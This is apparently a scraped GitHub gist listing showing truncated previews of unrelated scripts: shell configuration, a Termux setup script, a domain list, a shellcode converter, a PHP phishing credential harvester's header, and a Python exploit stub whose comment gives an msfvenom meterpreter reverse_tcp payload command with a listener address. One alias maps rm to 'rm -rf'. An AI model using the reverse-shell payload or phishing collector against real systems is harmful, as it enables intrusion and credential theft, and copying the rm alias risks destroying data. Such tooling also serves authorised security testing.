This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
shopt -s histappend | |
shopt -s histverify | |
shopt -s expand_aliases | |
shopt -s cdable_vars | |
#history is set to unlimited. Change accsavedcmdsg to your need. Also | |
#change history format if you dont it | |
export HISTCONTROL=ignoreboth:erasedups |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# ============= .bashrc ============= # | |
##==================≠================== | |
## Aliases | |
##==================≠================== | |
alias ls="ls -a" | |
alias rm='rm -rf' | |
alias cp='cp -i' | |
alias mv='mv -i' |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# https://gist.githubusercontent.com/numbnet/16283d639aa316c8a1925c779dbd225c/raw/e44a093421e9988ffcfee7c43b2da95b5be98b57/1Etap.sh | |
kastom() { | |
TITLE = "" | |
SUBTITLE = "Кастомизации Termux" | |
NIK.NAME = "NUMBNET" | |
LastNAME |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# Step 1: Obtain a list of our personal hosts. | |
# Export from Bitwarden, LastPass, 1Password, or similar: | |
my_passwords.txt | |
# Next commands will assume the LastPass export format, which is CSV with the URL in the first field: | |
# url,username,password,[... more fields] |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
0059.co.kr | |
007.no | |
007airsoft.com | |
008.vista.kz | |
01186mb.ca | |
012.ca | |
01nii.ru | |
0286776498.com | |
0286780777.com | |
02asat.photoherald.com |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
# Disasm of 64-bit binary: | |
# $ objdump -b binary -D -m i386:x86-64 <file> | |
# | |
# Usage: | |
# $ ./bin2shellcode.py <file> num | |
# Where: | |
# num - number of bytes to convert into array. | |
# `num` can be negative, resulting in `size-num` | |
# bytes be converted. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
PID=<PID>; BYTES=`IFS=$'\n'; for l in $(cat /proc/$PID/maps | cut -d' ' -f1 | awk -F '-' '{printf "0x%s-0x%s\n", $2, $1}'); do echo $l | ruby -e 'print "#{eval(STDIN.read)}\n"'; done | paste -sd+ - | bc`; echo "Bytes occupied by PID=$PID : $BYTES" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/* | |
* PHP Script intdended to be used during Phishing attempts as a harverster | |
* collector linked to backdoored HTML <form> action parameter. Such action | |
* parameter could be set like this: | |
* | |
* <form [...] action="/post.php" [...]> | |
* | |
* and script named as 'post.php' to get it working. Additional further configurations | |
* can be made in the section below. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# | |
# Simple script intended to poll remote web application to check whether it is available | |
# and returns 200 OK. If it is not, then Linux GNOME-related alert will be generated. | |
# | |
# Mariusz B., 2016 | |
# | |
REMOTE_HOST="http://<webapplication>" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
import struct | |
import socket | |
import base64 | |
import time | |
HOST = '192.168.0.11:8080' | |
# | |
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.10 LPORT=4448 -e x86/shikata_ga_nai --smallest -f py -v shellcode |
NewerOlder